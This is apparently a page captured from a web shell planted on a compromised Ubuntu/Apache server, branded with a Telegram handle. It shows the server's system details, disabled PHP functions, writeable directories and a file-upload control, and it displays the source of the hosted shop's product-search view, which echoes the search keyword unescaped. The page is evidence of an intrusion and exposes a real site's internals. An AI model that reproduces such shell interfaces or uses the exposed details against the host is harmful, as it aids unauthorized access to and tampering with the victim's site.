https://t.me/RX1948
Server : Apache/2.4.18 (Ubuntu)
System : Linux canvaswebdesign 3.13.0-71-generic #114-Ubuntu SMP Tue Dec 1 02:34:22 UTC 2015 x86_64
User : oppastar ( 1041)
PHP Version : 7.0.33-0ubuntu0.16.04.15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Directory :  /var/www/kanvakanva.com/public_html/application/views/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/kanvakanva.com/public_html/application/views/search.php
<?php defined('BASEPATH') OR exit('No direct script access allowed'); ?>

<!-- BEGIN CONTENT PAGE -->
<section class="all-content-page">			
    <!-- Banner Categories -->					
    <div class="baner-top-categories">
        <div class="categories-text-hero">
            <h1>SEARCH PRODUCTS</h1>
        </div>
        <img src="<?=base_url()?>assets/frontend_new/images/banner/11.jpg" alt="banner">
    </div>		

	<div class="container">
		<div class="breadcrumbs">
            <a href="<?=base_url()?>">Home</a>
            <span>Search results for <?= ucwords($keyword); ?></span>
        </div>	
	
	<!-- blog-area start -->
	<div class="shop-area">
		<div class="container">
			<div class="row">
				
				<div class="col-lg-12 col-md-12 col-sm-12 col-xs-12">
					<!-- toolbar start -->
					<div class="toolbar">
						
						<div class="show-result">
							<?php if (count($products) == 0): ?>
								<p>There are no products</p>
							<?php else : ?>
								<p>There are total <?= count($products); ?> 
								product<?php if (count($products) > 1) : ?>s<?php endif; ?></p>
							<?php endif ?>
						</div>

					</div>	
					<!-- toolbar end -->

					<div class="clear"></div>

					<div class="row">

						<div class="grid-view">

						<?php foreach ($products as $item) : ?>


							<div class="col-lg-3 col-md-3 col-sm-3 col-xs-12">
                                <div class="item item-cate">
                                    <div class="product-wrap">
                                        <div class="img-products">
                                            <a href="<?= base_url() . 'product/' . $item->alias; ?>">
                                                <?php if ($item->new_arrival == 'yes'): ?>
                                                    <div style="width: 50px;height: 50px;color: white !important;background: #cba884;display: block;line-height: 40px;text-align: center;font-weight: bold;position: absolute;left: 1px;padding-top: 5px;z-index:1;">
                                                    NEW
                                                </div>
                                                <?php endif; ?>
                                                <img class="img-responsive image-default" src="<?= base_url() . 'uploads/product/small/' . $item->image1; ?>" alt="img">
                                            </a>
                                            <?php if($item->image2 != '' && $item->image2 != null) : ?>
                                            <a class="images-last" href="<?= base_url() . 'product/' . $item->alias; ?>">
                                                <img class="img-responsive image-default" src="<?= base_url() . 'uploads/product/small/' . $item->image2; ?>" alt="img">
                                            </a>
                                            <?php endif; ?>
                                            <?php
                                                //check if item out of stock
                                                $this->db->select('id_stocks')->from('stocks')->where('product_id', $item->id_products)->where('stock !=', 0);
                                                $count_current_stock = $this->db->get()->num_rows();
                                            ?>
                                            <?php if ($count_current_stock == 0): ?>
                                            <?php if ($item->preorder == '0'): ?>
                                                <img id="nostockIcon" src="<?= base_url(
                                                'template/images/outofstock.png'
                                                ) ?>" style="width:auto;bottom: 0px;position: absolute;">
                                            <?php else: ?>
                                                <img id="nostockIcon" src="<?= base_url(
                                                'template/images/preorder.png'
                                                ) ?>" style="width:auto;bottom: 0px;position: absolute;">
                                            <?php endif; ?>
                                            <?php else : ?>
                                            <?php if ($item->preorder == '1'): ?>
                                                <img id="nostockIcon" src="<?= base_url(
                                                'template/images/preorder.png'
                                                ) ?>" style="width:auto;bottom: 0px;position: absolute;">
                                            <?php endif; ?>
                                            <?php endif; ?>
                                            
                                            <!--
											<?php
											//check if product comparison is active
											$this->db->select('product_comparison')->from('configuration')->where('id_configuration', 1);
											$product_comparison = $this->db->get()->row()->product_comparison;
											?>

											<?php if ($product_comparison == 'yes'): ?>

												<div class="compare-button" style="text-align: right;">
												<?= form_open('product_comparison'); ?>
													<input type="hidden" name="product_id" value="<?= $item->id_products; ?>">
													<input style="background:#cba884; color:white; border:none;padding:4px 25px;" type="submit" name="product_compare" value="compare">

												<?= form_close(); ?>
												</div>
												
											<?php endif ?>	
                                            -->

                                        </div>	
                                        <div class="product-des text-align-center margin-top-30">
                                            <h2><a href="<?= base_url() . 'product/' . $item->alias; ?>"><?= ucwords($item->title); ?></a></h2>
                                            <?php
                                                //get brand name
                                                $this->db->select('brand, alias')->from('brands')->where('id_brands', $item->brand_id);
                                                $brand = $this->db->get()->row();
                                            ?>
                                            <a style="color:#282727;" href="<?= base_url() . 'brand/' . $brand->alias; ?>"><?= ucwords($brand->brand); ?></a>

                                                
                                            <?php
                                                //get lowest price
                                                $this->db->select_min('price')->from('stocks')->where('product_id', $item->id_products)->where('price !=', 0);
                                                $lowest_price = $this->db->get()->row()->price;

                                                //get highest price
                                                $this->db->select_max('price')->from('stocks')->where('product_id', $item->id_products)->where('price !=', 0);
                                                $highest_price = $this->db->get()->row()->price;
                                            ?>

                                            <?php if($lowest_price != 0 && $highest_price != 0 && $lowest_price != $highest_price) : ?>
                                                <span class="mc-price"><ins>IDR <?= number_format($lowest_price); ?> - <?= number_format($highest_price); ?></ins></span>
                                            <?php else : ?>
                                                
                                                <?php
                                                    $this->db
                                                    ->select('price,discounted_price')
                                                    ->from('stocks')
                                                    ->where('product_id', $item->id_products)
                                                    ->where('stock !=', 0)
                                                    ->limit(1);
                                                    $cprice = $this->db->get();

                                                    if($cprice->num_rows() > 0) : 
                                                        $price = $cprice->row()->price;   
                                                        $disc_price =  $cprice->row()->discounted_price; 
                                                ?>
                                                        <?php if($disc_price > 0) : ?>
                                                            <span class="mc-price"><ins>IDR <?= number_format($disc_price) ?></ins>&nbsp;<del>IDR <?= number_format($price) ?></del></span>
                                                        <?php else : ?>
                                                            <span class="mc-price"><ins>IDR <?= number_format($price) ?></ins></span>
                                                        <?php endif; ?>
                                                <?php       
                                                    else : 
                                                ?>
                                                    <?php if ($item->discount_price > 0): ?>
                                                    <span class="mc-price"><ins>IDR <?= number_format($item->discount_price) ?></ins>&nbsp;<del>IDR <?= number_format($item->price) ?></del></span>
                                                    <?php else: ?>
                                                    <span class="mc-price"><ins>IDR <?= number_format($item->price) ?></ins></span>
                                                    <?php endif; ?>

                                                <?php endif; ?> 

                                            <?php endif; ?>

                                            <!----- RATING ----->
                                            <?php
                                                $this->db
                                                ->select('floor(AVG(rating)) as rating,count(id_rating) as jum')
                                                ->from('rating')
                                                ->where('item_id', $item->id_products);
                                                $rating = $this->db->get();

                                                if($rating->num_rows() > 0) {
                                                    $jum_rating = $rating->row('jum');
                                                    if($rating->row('rating') == 5){
                                                        echo '
                                                            <span style="color:#cda486;font-size:17px;">&#9733;</span>
                                                            <span style="color:#cda486;font-size:17px;">&#9733;</span>
                                                            <span style="color:#cda486;font-size:17px;">&#9733;</span>
                                                            <span style="color:#cda486;font-size:17px;">&#9733;</span>
                                                            <span style="color:#cda486;font-size:17px;">&#9733;</span>
                                                        ';
                                                    }
                                                    if($rating->row('rating') == 4){
                                                        echo '
                                                            <span style="color:#cda486;font-size:17px;">&#9733;</span>
                                                            <span style="color:#cda486;font-size:17px;">&#9733;</span>
                                                            <span style="color:#cda486;font-size:17px;">&#9733;</span>
                                                            <span style="color:#cda486;font-size:17px;">&#9733;</span>
                                                            <span style="color:#e6e6e6;font-size:17px;">&#9733;</span>
                                                        ';
                                                    }
                                                    if($rating->row('rating') == 3){
                                                        echo '
                                                            <span style="color:#cda486;font-size:17px;">&#9733;</span>
                                                            <span style="color:#cda486;font-size:17px;">&#9733;</span>
                                                            <span style="color:#cda486;font-size:17px;">&#9733;</span>
                                                            <span style="color:#e6e6e6;font-size:17px;">&#9733;</span>
                                                            <span style="color:#e6e6e6;font-size:17px;">&#9733;</span>
                                                        ';
                                                    }
                                                    if($rating->row('rating') == 2){
                                                        echo '
                                                            <span style="color:#cda486;font-size:17px;">&#9733;</span>
                                                            <span style="color:#cda486;font-size:17px;">&#9733;</span>
                                                            <span style="color:#e6e6e6;font-size:17px;">&#9733;</span>
                                                            <span style="color:#e6e6e6;font-size:17px;">&#9733;</span>
                                                            <span style="color:#e6e6e6;font-size:17px;">&#9733;</span>
                                                        ';
                                                    }
                                                    if($rating->row('rating') == 1){
                                                        echo '
                                                            <span style="color:#cda486;font-size:17px;">&#9733;</span>
                                                            <span style="color:#e6e6e6;font-size:17px;">&#9733;</span>
                                                            <span style="color:#e6e6e6;font-size:17px;">&#9733;</span>
                                                            <span style="color:#e6e6e6;font-size:17px;">&#9733;</span>
                                                            <span style="color:#e6e6e6;font-size:17px;">&#9733;</span>
                                                        ';
                                                    }
                                                    if($rating->row('rating') == 0){
                                                        echo '
                                                            <span style="color:#e6e6e6;font-size:17px;">&#9733;</span>
                                                            <span style="color:#e6e6e6;font-size:17px;">&#9733;</span>
                                                            <span style="color:#e6e6e6;font-size:17px;">&#9733;</span>
                                                            <span style="color:#e6e6e6;font-size:17px;">&#9733;</span>
                                                            <span style="color:#e6e6e6;font-size:17px;">&#9733;</span>
                                                        ';
                                                    }
                                                    echo "<span style='color:#808080;font-size:17px;'>($jum_rating)</span>";
                                                }else{
                                                    echo '
                                                        <span style="color:#e6e6e6;font-size:17px;">&#9733;</span>
                                                        <span style="color:#e6e6e6;font-size:17px;">&#9733;</span>
                                                        <span style="color:#e6e6e6;font-size:17px;">&#9733;</span>
                                                        <span style="color:#e6e6e6;font-size:17px;">&#9733;</span>
                                                        <span style="color:#e6e6e6;font-size:17px;">&#9733;</span>
                                                        <span style="color:#808080;font-size:17px;">(0)</span>
                                                    ';
                                                }
                                            ?>
                                            <!----- /RATING ----->


                                        </div>	

                                    </div>
                                </div>
                            </div>

						<?php endforeach; ?>	
														
						</div>
					</div>
					
				</div>
			</div>
		</div>
	</div>
	<!-- blog-area end -->




</div>
</section>
























	

https://t.me/RX1948 - 2025